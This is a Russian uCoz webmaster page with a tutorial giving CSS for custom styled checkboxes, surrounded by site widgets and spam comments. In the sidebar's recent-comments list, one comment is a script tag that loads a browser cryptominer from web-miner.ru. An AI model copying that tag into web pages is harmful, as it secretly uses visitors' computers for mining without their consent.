Среда, 21.02.2018, 10:06
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Какую социальную сеть предпочитаете?


Всего ответов: 394

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 4
Гостей: 4
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория CSS стили для uCoz » Добавлено [14.12.2013, 15:21]

Уникальные чекбоксы для uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

А для тех, кому наскучили стандартные чек-боксы на сайте и тех, кто хочет новых стильных чек-боксов, у меня отличное предложение - этот CSS  помогает создавать  и усовершенствовать свои чек-боксы. Кому не стало понятнее после демо-урока - пишите в комментариях - всем миром поможем и подскажем. Даже если кому-то нужна будет аренда автомобилей кабриолет, то и тут мы сможем вам помочь.

Все очень просто и стильно - аккуратные квадратики на против граф выбора и в них маленькие галочки. Галочка - самый оптимальный вариант. Чек-боксы с крестами и нулями мне вообще не нравятся, так как есть в этом что-то неприятное. А вот такой простой стильный дизайн позволяет не выделять чек-боксы особенно, да и не нужно это, а просто и красиво расположить их в нужном месте экрана. Очень легкий, как вы понимаете, плагин, а вписывается в любое место странички куда нужно положить чек-бокс. Цвета стильные светлые, немного градиента, причем сами поля выбора обработаны ювелирно и имеют очень мелкий градиент, но опять же, мне и моим коллегам кажется, что вид у этой штуки очень современный и не отвлекает на себя много внимания. Подходит для установки на любой тематический сайт.

Важно! Картинку из прикреплённого архива залейте в папку images

Установка:

В css в самый низ вставляйте:

input[type=checkbox] {
position: absolute;
clip: rect(0, 0, 0, 0);
}
label {
cursor: pointer;
}
label:after {
content: ' ';
display: inline-block;
width: 17px;
height: 17px;
background: url('/images/checkbox-2.png');
position: relative;
top: 3px;
margin-left: 15px;
}

input[type=checkbox]:checked + label:after {
background-position: 0 -17px;
}
label:hover:after {
background-position: 0 -34px;
}
input[type=checkbox]:checked + label:hover:after {
background-position: 0 -51px;
}


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Уникальные чекбоксы для uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: CSS стили для uCoz | Добавил: scripts_for_ucoz | Теги: чекбоксы, уникальные, uCoz
Просмотров: 2779 | Загрузок: 13 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz